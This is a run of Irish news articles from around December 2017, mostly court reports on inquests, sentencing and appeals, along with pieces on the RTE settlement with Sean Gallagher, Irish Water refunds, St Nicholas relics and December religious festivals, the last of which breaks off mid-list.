At the close of the hearing, coroner Dr Mary Flanagan said she had never been at an inquest before where the foreman of the jury was almost brought to tears while trying to deliver the verdicts.

"I just want to express my deepest sympathies with the Colls and the Hawe families on this dreadful chain of events," she said.

"There are no words to describe the upset that befell your family."

Dr Flanagan said there was nothing she could say that could adequately sympathise with them.

"It's unimaginable what you have had to endure," she said.

The foreman of the jury added: "We have no words either, other than to say that we are absolutely so sorry."

Outside the courthouse, Mr Keane praised the work of gardai in the case.

He also extended thanks to family, friends and neighbours in Virginia, Co Meath and Mrs Hawe's friends, colleagues and community where she taught in Oristown, Co Meath.

"We are aware of all those affected by these killings, especially the friends of Liam, Ryan and Niall and their parents," he said.

Expand Close Jacqueline Connolly, a sister of Clodagh Hawe, and their mother, Mary Coll, at the inquest in Cavan Coroners Court. Photo: Tony Gavin / Facebook

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Whatsapp Jacqueline Connolly, a sister of Clodagh Hawe, and their mother, Mary Coll, at the inquest in Cavan Coroners Court. Photo: Tony Gavin

Mr Keane asked for the family to be given privacy to grieve with dignity.

Anyone affected by issues raised in this article can contact Samaritans on 116 123, Pieta House on 1800 247 247, Childline on 1800 66 66 66, or text "support" to 50101, and Women's Aid on 1800 341 900.
An appeal by the wife of developer Sean Dunne related to his bankruptcy was adjourned when a presiding judge recused himself from the case over what he said may be a perceived conflict.

Mr Justice Sean Ryan, President of the Court of Appeal, said he had bought a house from Mr Dunne's firm and had once met the man, but while he initially thought that should not be a problem for the parties in the case, he had thought again about it over lunch and decided he should recuse himself.

He wanted to remove himself from the case being brought by Gayle Dunne because it was possible "somebody might say I am surprised he did not recuse himself".

The appeal was being heard for less than a half-an-hour by Mr Justice Ryan, Ms Justice Maire Whelan and Mr Justice Michael Twomey when, as the court was about to break for lunch, Mr Justice Ryan said he wanted to mention to the parties he had once bought a house from Mr Dunne's firm Mountbrook and had met him once.

Counsel for both sides agreed with him there would not be any problem with that.

When the case resumed, Mr Justice Ryan said he had realised there was something "that went back over 20 years" and might give rise to a reasonable enough perception or possible perception of a conflict. There was "nothing terribly sinister", but it was something that had slipped his mind and he would prefer to recuse himself. That meant the court would have to be reconstituted and he adjourned the case for that purpose to the new year.

In the appeal, Ms Dunne is seeking to overturn a High Court decision refusing to allow her cross-examine a lawyer acting for the 'Chapter Seven' trustee dealing with Mr Dunne's bankruptcy in the US. He was declared bankrupt in both the US and Ireland in 2013.

The application was opposed by the Irish bankruptcy official, Chris Lehane. In February last year, the High Court found the cross-examination of the US lawyer was not necessary.

The appeal also relates to an application to dismiss proceedings by Mr Lehane related to agreements between Mr and Mrs Dunne in 2005 and 2008 to transfer interests to her and her children in a number of assets.

It is claimed those proceedings are unfair because they cover the same grounds as proceedings in the US.

Mr Lehane disputes her claims.
A Dublin man who had a 17,000 MDMA possession charge against him dropped because of a legal issue with the drug's definition has been jailed for two years after the matter returned to court.

Today, Gerardine Small BL, prosecuting, explained that the Director of Public Prosecutions (DPP) had dropped the drugs possession charge against Darren Snee (28) the day of his sentence in 2015.

She said at the time the High Court had ruled that the drug, also known as ecstasy, had not been described properly in law and was therefore legal.

Counsel said the Supreme Court overturned this ruling and now many of the drugs cases that had been struck out were coming back into the legal system.

Darren Snee, of Oak Court Close, Palmerstown, pleaded guilty at Dublin Circuit Criminal Court to possessing 1,705 of ecstasy tablets worth 17,050 at his home on January 18, 2013.

He pleaded guilty to possessing 400 of cocaine and 800 of cannabis on the same date and received a two and a half year suspended sentence in March 2015.

He has 13 previous convictions, including a drugs offence from 2015.

Garda John McWeeney told Ms Small that he and colleagues searched Snee's home on foot of confidential information and discovered the ecstasy tablets in a drum outside a bedroom window.

He arrested Snee, who told him he was holding the cache for someone else because he owed money for drugs.

Gda McWeeney said he didn't accept this explanation.

The garda agreed with Pieter Le Vert BL, defending, that his client took responsibility for the drugs and had entered an early guilty plea.

Mr Le Vert told Judge Martin Nolan that Snee had secured employment and had dealt with the matter as best he could. He asked the judge to consider imposing another lengthy suspended sentence.

Judge Nolan noted that Snee might have been considered lucky on the previous sentence date but the Supreme Court found the High Court decision wrong and retrospectively made the drugs illegal.

The judge said he might have adopted a more lenient approach to this sentence had Snee not re-offended.

He said Snee now deserved a prison term. He jailed Snee for two years with credit given for 17 days he had already spent in custody on the matter.
A man who attacked a householder in his home has been jailed for four years.

Anthony Connors (42) attacked Michael Tonra after convincing the victim he was looking for a long lost friend in the neighbourhood.

Connors of South Richmond St, Dublin pleaded guilty at Dublin Circuit Criminal Court to burglary at Linenhall St, Dublin, on June 20, 2016.

Judge Karen O'Connor said this was a nasty and vicious offence and said the court must protect people from this type of behaviour.

She said Connors had violated the victim's home. She said Connor's plea of guilty and his history of drug abuse were mitigating factors.

She suspended the last year of a five year prison term on condition that Connors engage in Probation Service programmes to address violent offending and substance abuse.

Garda Aidan Noonan told Fiona McGowan BL, prosecuting, that Michael Tonra was putting his rubbish out when Connors stopped him and asked him about someone who he said lived in the area.

Mr Tonra believed Connors to be genuinely trying to track down an old friend. He offered to write down Connors' contact details to pass it on to the neighbour and went back into his house to get some pen and paper.

When he came back to the front door Connors was standing six feet into the hallway. Mr Tonra said to him please get out but Connors pushed him and tried to force his way past him.

Mr Tonra later told gardai that Connors' demeanour had totally changed from normal to extremely intimidating and threatening to him in his own home.

Gda Noonan said that the homeowner stood his ground and in a violent struggle, the two men fell to the ground. The court heard Mr Tonra got the upper hand and pinned Connors to the ground and began to try to reason with him.

He asked Connors, what's wrong, what can I do? but Connors replied by saying he was going to punch him and threatening to return to the house later with other men.

Mr Tonra then banged Connors' head against the fireplace and pushed and kicked him towards the front door, the court heard. After he got Connors out the front door, Connors continued shouting and banging on the door and repeated his threat to come back later with others.

The court heard that when Connors realised his jacket, which had come off during the struggle, was inside the house he banged on the window and said: I wont come back but just give me my jacket.

Mr Tonra rang gardai and Connors left the scene. Gardai came to the house and found bail bonds and other documentation in Connors' name in the jacket. They were then able to get CCTV from a nearby courthouse from the same day that showed Connors wearing the jacket.

Gda Noonan said that Connors has 60 previous convictions including 16 for burglary, four for aggravated burglary, five for false imprisonment, ten for robbery and one for impersonating a garda.

Mark Lynam BL, defending, said his client had had a very difficult life and had spent most of his life in prison.
The case taken by Sean Gallagher against RTE has been settled, with the former Presidential Election candidate said to have received substantial damages.

The High Court was told of the settlement this morning at a scheduled pre-trial hearing.

A trial had been due to begin early next year.

The size of the settlement was not disclosed but it involved an agreement from RTE to issue an apology to Mr Gallagher.

Mr Gallagher sued the broadcaster for damages over the Tweetgate incident during the 2011 presidential election campaign.

This related to a tweet read out by presenter Pat Kenny during the final televised debate of the campaign, prior to which Mr Gallagher was regarded as the frontrunner.

A Twitter account with a user name similar to that of the official Martin McGuinness campaign, but not linked to Mr McGuinness, said a man who claimed he had given a 5,000 cheque to Mr Gallagher would appear at a press conference the next day.

Mr Gallagher lost the subsequent election, finishing behind Michael D Higgins.

The former Dragons Den investor successfully complained to the Broadcasting Authority of Ireland about the reading out of the tweet, with the BAI finding it was unfair to him.

Mr Gallagher had sought a declaration the programme was unfairly edited, presented and directed by RTE in order to damage his electoral prospects.

RTE had rejected the claims.

A statement read on Mr Gallaghers behalf by solicitor Paul Tweed said his client was satisfied RTE had acknowledged before the High Court that it had failed to show him fairness and impartiality during the presidential debate.

Mr Tweed said this acknowledgement had been supported by the payment of substantial damages.

Mr Gallagher hopes that this apology and acknowledgement of the BAI findings and RTEs own internal report will lead to significant improvement in procedure and protocol in the next presidential debate in 2018, the solicitor said.

Sean Gallaghers motivation in taking this case has not just been about addressing the unfairness done to him, but all about protecting the integrity of the democratic process, ensuring that what has happened to him will not be allowed happen again.

Mr Gallagher was not in court for the reading of the apology.

In its apology, read by Paul Gallagher SC, RTE acknowledged the production of the October 2011 debate programme fell significantly short of the standards expected by the public and required by law.

"RTE acknowledges that it made mistakes and failed to comply with its statutory duty under section 39 of the Broadcasting Act in the course of The Frontline live Presidential Election debate programme which was broadcast on 24 October 2011.

"Section 39 imposes a duty on broadcasters to ensure that the broadcast treatment of current affairs is fair to all interests concerned.

"RTE acknowledges that it should have verified the origin of a tweet to which reference was made during that broadcast and that the tweet should not have been erroneously attributed to another candidates Twitter account.

"RTE acknowledges that it should not have broadcast the tweet and, when it became apparent during the course of the programme that it was false, it should have immediately corrected the fact that the provenance of the tweet was mistaken. As a result, RTE failed in its obligations to Mr. Gallagher.

"RTE acknowledges that it failed in its obligation of fairness to Mr Gallagher under the Broadcasting Act and in particular: (i) in the broadcast of the tweet without verification; (ii) in the failure to provide clarification on the provenance of the tweet within the same programme; and (iii) in the failure likewise to provide clarification of the provenance of the tweet on the Radio One broadcast of Today with Pat Kenny on 25 October 2011.

"RTE acknowledges and fully accepts the findings of the Broadcasting Authority of Ireland Ruling of March 2012 and the findings contained in the internal RTE Editorial Review of the Frontline Presidential Debate by Rob Morrison Report published in November 2012 which identified numerous failings in the broadcast separate to that of the tweet.

"RTE apologises to Mr Gallagher for its failure to comply with section 39 of the Broadcasting Act and for the failings identified in the BAI and internal RTE Editorial Review. RTE acknowledges that the production of the programme fell significantly short of the standards expected by the public and required by law."
Prison sentences imposed on two men for a fatal burglary at the home of a 62-year-old were too lenient, according to the Court of Appeal.

Cousins Michael Casey (34), with an address at Clonlong Halting Site, Southill, in Limerick and David Casey (23), with an address at Carragh Park, Belcamp, Dublin 17, had pleaded guilty to a series of burglaries, including one at the home of John O'Donoghue at Toomaline, Doon, on August 27, 2015.

Mr O'Donoghue collapsed and died as he was about to confront the two intruders, who ran away without offering assistance.

Judge Tom O'Donnell sentenced both men at Limerick Circuit Criminal Court to four-and-a-half years imprisonment with the final year suspended on December 15, 2016.

The Director of Public Prosecutions successfully sought a review of the men's sentences on grounds that they were unduly lenient.

In the Court of Appeal today, Mr Justice George Birmingham said the three-judge court had considered the matter and had concluded that the sentences imposed were unduly lenient.

Mr Justice Birmingham, who sat with Mr Justice Alan Mahon and Mr Justice John Edwards, said it was necessary therefore to fix a date for a fresh sentence hearing.

The case was put back to January with a view to fixing a date on that occasion.

Moving the DPP's appeal last week, Thomas O'Malley BL, submitted that the sentence for the burglary of the O'Donoghue household was too low when one considered the harm that was caused in that particular case.

Mr O'Malley said there was a second victim to consider - Mr O'Donoghue's surviving sister - who had to watch her brother drop dead in front of the family home as he was about to confront the two intruders.

Of course they didn't for a moment intend to harm anybody, Mr O'Malley said, but they had to take their victim as they found him.

He said offenders who engage in residential burglary must take account of the fact they might disturb somebody and that this kind of thing can happen. Somebody could become ill or die as a result of the fright.

There was an inherent risk in burglary and there had to be a punishment that reflected that harm, he submitted.

He said David Casey was on bail at the time the burglaries were committed and the sentencing judge did not allude to that in his sentencing remarks.

Mr O'Malley said the sentencing judge failed to specify the headline sentence before making appropriate adjustments for any personal circumstances of the accused.

He said headline sentences function to send out a message, to censure the criminal conduct involved, and were important for general deterrence. This kind of repeated residential burglary was conduct that is the cause of tremendous public concern at the present time.

He said the offences were not committed impulsively or opportunistically but the Caseys had selected and targetted four different dwellings as part of a burglary spree on the same day.

Mr O'Malley said one of the houses was ransacked and inadequate attention was given to that aggravating feature by the sentencing judge.

He said the thrashing of a home added to the trauma and distress suffered by the homeowners. There can be few greater traumas than going home and finding your home thrashed.

Mr O'Malley said it was important to clarify that these were dwellings because of the constitutional protection that is afforded to the dwelling. He said the offences were a constitutional violation perpetrated by private parties and the state's role was to vindicate that right.

He said the Caseys satisfied themselves up to a point that the houses were unoccupied but they didn't deserve any credit for choosing to enter houses that were unoccupied at the time.

Consecutive sentences would not have been unreasonable and if not, then the sentence for the most serious offence - involving the death of Mr O'Donoghue - should have been higher, Mr O'Malley submitted.

Counsel for David Casey, Michael Bowman SC, said what happened after the incident couldn't aggravate the offence and there was no evidence the cousins deliberately walked past Mr O'Donoghue as he was having a fit or a heart attack.

Mr Bowman said David Casey was 20 at the time of the offence. He had his own personal difficulties and appeared to have progressed significantly while in custody.

Counsel for Michael Casey, Vincent Heneghan SC, said the final year of the sentences were suspended on condition both cousins be of good behaviour for six years from the date of sentence. That indicated that the Circuit Court judge had measured the gravity of the offences that were before him, he submitted.

Mr Heneghan said the Circuit Court judge did not hand sentence down there and then but adjourned the case to consider all aspects.

He said the judge did not miss a thing save for the headline sentence and he clearly started much higher than where he ended up having regard to mitigation for the guilty plea, remorse and admissions.

Reserving judgment last week, Mr Justice George Birmingham, who sat with Mr Justice Alan Mahon and Mr Justice John Edwards, said the court hoped to have a decision, if not a judgment in the case, on Monday.

On an earlier occasion, prosecuting counsel, John G O'Sullivan BL, referred to the case as a fatal burglary.
The mother of a 23 year-old man who was murdered by a teenager said her son was a soft-natured boy who loved Christmas.

Graham McEvoy (19) of Captain's Road in Crumlin was found guilty on Monday of the murder of Paul "Paulie" Curran (23) at Seagull House on Crumlin Road in Dublin on July 16, 2016. McEvoy pleaded guilty to manslaughter but his plea was rejected and he underwent a week-long trial at the Central Criminal Court.

Yesterday, Justice Patrick McCarthy sentenced McEvoy to life imprisonment. Mr Curran's mother, Elizabeth Curran, was not present in court but wrote a statement which was read by prosecution counsel Conor Devally SC. She said she has suffered mental health issues as a result of her son's death and is often afraid to leave her home in case she meets friends or family of her son's murderer.

She said her son was kind and well-loved and loved Christmas and giving presents. "Christmas will never be the same again," she added.

Describing him as soft-natured, she said he would console anyone who was upset and if a person cried he was so gentle he would cry with them.

During garda interviews McEvoy described Mr Curran as his "best friend" but the deceased's mother said McEvoy was no friend of her son and that he was a bully.

She has difficulty knowing that her son called out for her as he was dying but she was not there to take care of him when he needed her most. She also said she could not believe that her son would have carried a knife, as was stated by McEvoy who told gardai that Mr Curran pulled a knife on him and tried to slash him.

Defence counsel Barry White SC told the court that his client's education ceased when he was 14 and that he had a drug problem. He was living a chaotic lifestyle at the time and, although he had previous for drugs and motor offences, he had no convictions for violent offences prior to this.

Det Sgt Dan Kelly agreed with Mr White that McEvoy appeared genuinely distressed when talking about the stabbing during interviews with gardai. Mr White also asked the court to note that when McEvoy told members of his family, following delivery of the jury verdict: "Don't worry, it's only a few more years," that this was not bravado. He said his client's family was "extremely distressed" and he was trying to dispel their distress. Mr White also indicated an intention to appeal the verdict.

Evidence

The trial heard from Deputy State Pathologist Dr Linda Mulligan that Mr Curran was stabbed at least six times with the fatal wound entering under the left armpit and going through the upper lobe of the left lung. This wound, at a depth of nine or ten centimetres, caused significant bleeding and collapse of the left lung leading to respiratory collapse and death.

Blood loss through other wounds to the backs of his legs contributed to his death while an incised wound to his left forearm was most likely a defensive injury. The injuries to his legs appeared to travel in an upward direction, suggesting that the deceased was at a higher level, such as on a stairs, when those wounds were inflicted.

During garda interviews, McEvoy said he met the deceased at Seagull House to sell him half an ounce of cocaine, but when he asked for his money Mr Curran pulled a knife and tried to slash him. In the scuffle that followed they slipped to the floor and McEvoy said he took the knife from Mr Curran and stabbed him.

His barrister Barry White SC argued that McEvoy was acting in self defence but used excessive force and should therefore be convicted of manslaughter and not murder.

The prosecution said the three knife wounds to the backs of Mr Curran's legs, that the pathologist said went in an upward direction, showed that the deceased was trying to get away rather than scuffling on the ground. The prosecution also pointed to the evidence of a teenage girl who said McEvoy called her earlier that day looking for Mr Curran and said something about "nearly getting a stripe" on his face and that he "got it over Paulie".

In his charge to the jury Justice McCarthy explained that McEvoy's plea to the lesser charge meant that he accepted responsibility for the killing but that at the time he did not intend to kill or cause serious injury.

Justice McCarthy said any person is entitled to defend themselves in a way that is proportionate with the threat. But in circumstances in which the level of force used is not reasonable, the person might still not be guilty of murder.

He said the prosecution would still have to prove beyond reasonable doubt that the accused man knew that the force used was excessive. If the prosecution had failed to prove this then the accused man should be found not guilty of murder, guilty of manslaughter.

However, if the jury was satisfied beyond reasonable doubt that he knew at the time that the force he was using was excessive, Justice McCarthy said they should find him guilty of murder.
A WOMAN who stabbed another girl with a stiletto heel below the eye is set to escape jail for the offence.

This follows the Probation Services recommending to Judge Gerald Keys at Ennis Circuit Court yesterday that Shannon Jordan would be a suitable candidate for Probation Supervision.

In the case, Shannon Jordan (19) of Lios Anana, Sixmilebridge, Co Clare, stabbed her victim with a stiletto heel during a drunken row after a school graduation ceremony.

Ms Jordans victim, Natasha Griffin McMahon - who was aged 17 at the time of the assault in August 2015 - suffered a fractured eye socket and laceration when Ms Jordan used the pointed heel of her shoe to strike her in the face.

In her victim impact statement, Ms Griffin McMahon said that she came close to being blinded by the stiletto attack.

She said that the deepest cut from the stiletto was millimetres below my eye.

She said: If it had been even slightly higher I would have lost my eye completely or at best my sight. It terrifies me to think of how much my life would have been affected if that had happened.

Ms Griffin McMahon said that she had to undergo extensive medical treatment to deal with her facial injury after the attack.

The victim underwent surgery and it was only after four to five months that she began to regain the feeling and movement in the side of her face that was subjected to the stiletto attack.

Ms Griffin McMahon said that she feels lucky that the outcome to the altercation wasnt worse.

She said: It still un-nerves me to think how close I came to being blinded. And to how much worse this could have been. It is shocking how quickly a weapon was introduced to this altercation and how dangerous it proved to be.

In her statement read out to court, Ms Griffin McMahon said: Every time I met with the doctor, they advised me of how fortunate I had been. Fortunate not to have lost my eye and fortunate to have been under such good care at the hospital that they were able to recover the feeling in my face.

The incident occurred in Shannon town centre as a group of teenagers returned from a school graduation ceremony in Limerick in the early hours of August 25th, 2015.

It is accepted that Ms Jordan did not remove her shoes for the purpose of attacking Ms Griffin McMahon.

Ms Jordan has been paying compensation to Ms Griffin McMahon at a rate of 50 a week since February of this year.

In all, Ms Jordan is to pay 5,000 in compensation to Ms Griffin McMahon and counsel for Ms Jordan, Pat Whyms BL told court yesterday that his client is continuing to pay over the 50 per week.

In court last month, Judge Keys issued Ms Jordan with a stern warning that she faces jail unless she shows full co-operation with the Probation Service.

Mr Whyms told court yesterday that the Probation Report "is generally favourable".

He said: On the last occasion, there were questions about the level of co-operation from Ms Jordan, but on this occasion, the Probation Officer is saying that she has increased her co-operation, is attending appointments and is suitable for Probation Supervision. If the court wanted to impose same, that would be acceptable to the Probation Service.

Det Sgt Kevin OHagan previously told the court that there was a high level of intoxication among the group as they returned by bus from Limerick.

The court heard that when the bus arrived at Shannon at around 3am, a verbal argument erupted between Ms Griffin Jones and Ms Jordans then boyfriend.

Det Sgt OHagan said Ms Griffin McMahon pushed Ms Jordan who was carrying her shoes in her hand after the night out.

Ms Jordan then used the shoe to strike her victim in the face.

Det Sgt OHagan said on the night, Ms Jordan later attended Shannon Garda Station, made admissions and indicated her actions were in self-defence.

Ms Jordan has no previous convictions and works in the bar trade.

Det Sgt OHagan said that there is a very minimal risk of the teen re-offending.

Mr Whyms said that it was never his clients intention to cause injury to the girls eye. He said it was an excessive reaction to being pushed.

Judge Keys adjourned sentencing to next February and remanded Ms Jordan on continuing bail.
Disgraced journalist Kevin Myers has accused the media and Government of destroying his reputation following his controversial Sunday Times column last July.

In his first television interview since his dismissal, Kevin Myers explained on RTE's Claire Byrne Live that he was falsely accused of being anti-semitic and a misogynist.

In the ten-minute interview, the former journalist also slammed Taoiseach Leo Varadkar for saying the Sunday Times decision to fire him was "wholly justified".

"I'm not an outcast or pariah with the Jewish people of Ireland who have come out uncompromisingly in support of me," he said.

"They know I'm not an anti-semite."

He explained in the early hours of the morning, after he had written the controversial editorial, there was a social media storm across the world.

"I was fired without any explanation and it was announced I would never be employed by the Sunday Times ever in my life.

"The Taoiseach also came out and said the Sunday Times' decision was wholly justified."

Asked if he really believed some of the controversial topics he wrote over the years, such as how men work harder than women, he said that freedom of speech is the real issue.

"The issue is are we allowed to differ from the politically correct and consensual norm that dominates the media?

"Its a newspaper column, not a dogmatic statement of truth.

"I have the right to be wrong and what's happening now in the media is that if you're perceived to be wrong you're not contradicted, you are destroyed."
Irish Water says it can re-issue refund cheques to a nominated person of the account holder for anyone who does not have a bank (Stock photo)

Irish Water told regulators it expects to reissue almost one in seven refunds after people moved address or changed their details.

The utility told the Commission for the Regulation of Utilities (CRU) that "additional costs" were expected to arise, with up to 15pc of the 990,000 refund cheques likely to be reprinted.

And it has emerged that the State will claw back almost 570,000 from the cost of issuing refunds.

Irish Water allocated almost 570,000 from the 5.8m refund budget for Government stamp duty, which is charged at 50 cent per cheque.

It also set aside almost 13,500 for banking charges.

Last October, the Department of Housing asked the regulator to examine if the costs of refunds proposed by Irish Water were "reasonable".

The regulator said the costs were reasonable, "given the scale, complexity and short timeframe for the project", but said that Irish Water should justify any spending of a 978,272 contingency fund.

The letter reveals Irish Water proposed a total budget of 5.869m.

The costs, inclusive of VAT, included some 1.56m to cover printing and postage; some 554,000 to cover IT and technical costs, including development and testing, another 565,000 for a contact centre to handle customer queries and 400,000 for a communications campaign.

Some 706 radio advertisements were funded, and the company expected that 85pc of its target audience would be reached. "Further spend" may be required, it added.

While noting that the costs appeared reasonable, the regulator said it did not have the opportunity to compare costs against similar projects elsewhere.

"The CRU recommends that Irish Water be required to provide updates to outline progress against budget, and the measures they are taking to ensure cost savings are achieved where possible," it said.
Joe O Connell pictured at the tomb of St Nicholas at Jerpoint Park in Thomastown Co. Kilkenny (Picture Dylan Vaughan)

RESEARCHERS are considering using DNA testing to determine if the legendary Irish grave of Santa Claus, or St Nicholas of Myra, is directly linked to relics of the saint in Italy and the US.

The proposal came as Oxford University confirmed that a bone supposed to be from the fourth-century saint, and owned by a US-based priest, does in fact date from the correct period of around 343AD.

St Nicholas, who was the Bishop of Myra (in modern-day Turkey) during the early Christian period, was famed for his kindness and generosity.

His habit of leaving anonymous gifts for the poor of the then-Greek city he lived in is believed to have inspired the modern day legend of Santa Claus, St Nick or Sinterklaas.

He died in Myra in December 343AD and, over the centuries, became one of the most beloved of early Christian saints.

It is believed that Crusaders raided his Myra grave to bring back prized relics of the saint to Europe  with such relics being worth more than gold or diamonds to the church or monastery that possessed them.

Multiple relics, in the form of bone fragments, ended up in Venice, the departure point for some Crusaders to the Holy Land.

However, a legend also claims that some of St Nicholass bones were brought to Ireland by two Norman Crusaders and were buried in a Kilkenny church named after the Greek bishop at Jerpoint.

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In the medieval period, Jerpoint was one of the most famous of Irelands monastic settlements and boasted strong links with the Crusades.

Joe and Maeve OConnell own the land that surrounds the tomb.

It is the best-kept secret in Ireland and there is no doubt about it. The problem is that it is so far fetched that people dont believe it, said Mr OConnell.

Around 10,000 people a year come to see the tomb and Jerpoint, but they are mostly foreign tourists.

People dont realise it is the only place in the world where an ordinary persons house still exists from that era.

Mr OConnell provides tours of the tomb site over the summer, but will give tours made by appointment over the Christmas period.

Former Mayor of Kilkenny, councillor Andrew McGuinness, said an elaborate stone slab in the Jerpoint graveyard outside Thomastown is believed to be the final resting place of St Nicholas, or Santa Claus. Tellingly, the ancient grave slab appears to endorse the Crusader link, with St Nicholas depicted between two knights in armour typical of the period.

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Another local theory, revealed by Callan Heritage Societys Philip Lynch, is that a noble French family, the de Frainets, took the body from southern Italy, which was controlled by the Normans in the 12th century, to Ireland via France.

The Oxford tests, while not proving that the fragment of pelvic bone is actually from St Nicholas, has reignited the debate about confirming whether relics scattered all over the world actually belong to the same person, or possible Christian saint.

Now, researchers believe that conducting DNA tests on the various bone fragments held in reliquaries of St Nicholas around the world may just hold the key to confirming if the remains are indeed those of Santa Claus.

However, any DNA examination of possible bone fragments at the Kilkenny site would first require an exhumation  a move that would be contentious.

Prof Tom Higham, of the Oxford Relics Cluster, said the close dating of the bone to the era involved raised interesting questions.

Many relics that we study turn out to date to a period somewhat later than the historic attestation would suggest, he said. But this bone fragment, in contrast, suggests we could possibly be looking at remains from St Nicholas himself. (Yet) science is not able to definitely prove that it is (Santa Claus)  it can only prove that it is not, however.

Church officials believe there are around 500 bone fragments which purport to be those of St Nicholas, the majority in Venice.
19/12/17 Aliaksandr Nestsiarenka (known as Sasha) pictured this evening at Dublin Airport with his host Patricia Shortt from Limerick. Picture Colin Keegan, Collins Dublin.

19/12/17 Aliaksandr Miadorski, Aliaksandr Haldayeu and Aliaksandr Leukin, from Belarus arrive with Adi Roche of the Chernobyl Childrens Trust and their host, Damien Meaney from Bray. Picture Colin Keegan, Collins Dublin.

19/12/17 Sasha Nesterenka from Belarus with his host, Christine Shortt from Limerick. Picture Colin Keegan, Collins Dublin.

Pictured (l-r) Graham (11) with his mum Sharon Lynch from Co Cork welcomed Nasta at Dublin Airport for Christmas along with other children and young adults arrive at Dublin Airport. Photo: Sam Boal/Rollingnews.ie

Cheers and tears greeted 30 young people with special needs as their journey from Chernobyl to Ireland ended at Dublin Airport this afternoon.

Irish families rushed forward to embrace the young arrivals who will celebrate Christmas in their homes in urban and rural areas throughout the country.

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"This is what Christmas is all about - opening hearts and homes to these wonderful young people," said a smiling and tearful Adi Roche, chief executive of the Chernobyl Children International charity.

"In Ireland people are sometimes supercritical of problems in society but they can be proud that Ireland has never forgotten the children of Chernobyl. This is love in action," she said.

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The young people live in institutions in Belarus but they are enveloped in the love of Irish families for a greatly-needed break at Christmas and in the summer time.

Trina Gilchriest and Peter Rooney, who live on the family farm at Oldtown, North County Dublin, welcomed Maryna Malinovskaya (14) back to Ireland. She has been coming to visit the couple for the past five years.

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Also waiting at the airport was Damien Meaney (38) from Bray who works full time for the Haven charity in Haiti but he comes home at Christmas and during the summer to host two young men in wheelchairs who look forward so much to coming to Ireland, he said.

Damien's extended family were at the airport to give the two young men, a warm Irish welcome.

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A row has broken out over Dublin City Council's decision not to provide councillors with official diaries - with one councillor labelling it "the straw that broke the camel's back".

In an email sent to all city councillors, the council said local representatives will not be provided with official pocket diaries for 2018 due to "external constraints with the supplier".

It said that, due to a time delay in getting the order processed by the supplier, the information they would have provided would have been out of date by the time the diaries arrived.

"We have sourced in the interim, a DCC branded 2018 diary for each councillor with a pocket containing a separate printed insert with the DCC contact information," the official said.

"This diary has been ordered and will be available for you in early January."

The council also said the information usually provided in the diary will be available online.

However, Labour councillor Mary Freehill hit out at the decision.

In an emailed response seen by the Irish Independent, Ms Freehill said the electronic system was not practical.

"The removal of diaries at the last minute is the straw that broke the camel's back," she said.

"For management to remove essential working tools from councillors is a very serious act, and especially without prior notice."

Last year, Ms Freehill complained about the lack of food provided for councillors for area meetings.
Killasanowel Cottage lies on 1.7 acres in rolling farmland 5km outside Carrick-On-Shannon, Co Leitrim.

A rural cottage, that was described as a work in progress, has sold at an auction today for 32,000.

Killasanowel Cottage lies on 1.7 acres in rolling farmland 5km outside Carrick-On-Shannon, Co Leitrim.

The cottage was auctioned online today, with an advised minimum value of 25,000.

The property was listed with REA Brady in Carrick-on-Shannon, and was described as a "project".

Joe Brady of REA Brady said that the auction attracted buyers from across the world.

"A buyer in the UK bought it today for 32,000. We had registered buyers from Ireland, the UK and the US. We had over 30 buyers watching the auction from across the world.

"The auction was wild and all the action happened in the last five minutes. Eight out of the ten bids came in in the last few minutes. The auction was extended six times to prevent snipping but a UK buyer ended up winning."

Mr Brady said that the rural cottage is a great example of Ireland's hidden gems.

"It's a great example of what can appeal to people outside of Ireland. We forget what we have in Ireland sometimes."

Mr Brady previously told Independent.ie that while the cottage is a bargain, it will need a lot of work.

"It is a rural cottage in a tranquil setting that, with a lot of tender loving care, could be a family project and a home to make memories in. Let's be clear, this is a project, but underneath that rough exterior is a diamond," he said.
Its easy to forget amid all the Christmas cheer that December is a particularly important month for other religions too, with Islam, Judaism and Buddhism among those also celebrating major festivals.

Google is marking the month with a series of new Doodles relating to the month's global festivities.

In addition to Christmas, here are five other festivals also being celebrated this month:

Chanukah  Date varies

The Jewish festival of lights typically falls during the month of December and commemorates the rededication of the Second Temple after it was ransacked by King Antiochus of Syria. According to tradition, the Jewish people discovered amid the destruction enough oil to keep the Temples everlasting light burning for just one day, but it instead lasted for eight  enough time for more to be procured.

Another version of the story says the Jewish people celebrated the rededication of the Temple with an eight-day festival, and makes no mention of the miracle of the oil.

Chanukah sees Jews across the world lighting nine candles, with one used as the leader to kindle the others. On the first night of the eight-day festival, only one candle (and the leader) is lit; by the last night, the whole candelabra, known as a Chanukiah, is filled.

Jews traditionally celebrate the festival by eating foods fried in oil, including doughnuts and potato latkes. Chanukah gelt  meaning money, but generally used to refer to chocolate coins is given to children as a present and games are played with a spinning top known as a dreidel.

Ashura  Date varies

A Muslim festival celebrated in both Sunni and Shia Islam, Ashura commemorates the day on which Moses is said to have led the Israelites to freedom after years in which they were slaves in Egypt. It also marks the death of Husayn ibn Ali, the grandson of the prophet Muhammad, in the Battle of Karbala in the year 680CE.

Ashura is a national holiday in many Muslim countries and some people make pilgrimage to the reported site of Husayn ibn Alis tomb in the Iraqi city of Karbala. The day is considered to be a time for spirituality, self-reflection and repentance. Many Muslims will wear mourning clothes, refrain from listening to music and avoid any kind of celebratory event such as parties or weddings. In some countries, people will cut themselves using knives or chains or carry out self-flagellation. Some Sunni Muslims also fast on the day.

The name Ashura is believed to stem from the Hebrew word Asarah, which means tenth. On the tenth day of the seventh month, Jews fast to commemorate Yom Kippur  the Day of Atonement.

Feast of St Nicholas  6 December

The man on whom the tale of Santa Claus is based is celebrated by Christians on 6 December. The legendary figure of Saint Nicholas was born in the third century AD and is said to have used his sizeable inheritance to help the poor and needy. Known for his generosity and love of children, he died on 6 December and the anniversary of his death soon became a day of celebration.

One tale recalls how Nicholas threw bags of gold through the window of a poor mans house. They are said to have landed in stockings that had been hung to dry by the fire  a story that began the tradition of children leaving a stocking for Father Christmas to fill with presents.

In some countries, the Feast of St Nicholas, and not Christmas, is the main present-giving day. Children will leave shoes or stockings out in the hope they will be filled with presents during the night. It is also traditional for food and drink to be left out for Saint Nicholas and his horses or reindeer.

Known as Krampusnacht in some parts of Europe, the night of 5th December is, according to folklore, when a devil-like monster named Krampus appears. In a story similar to that of Father Christmas, many people say that Saint Nicholas visits only good children and delivers presents, while Krampus delivers lumps of coal to naughty children.

The term Santa Claus stems from Sinterklaas  the Dutch name for Saint Nicholas.

Bodhi Day  8 December

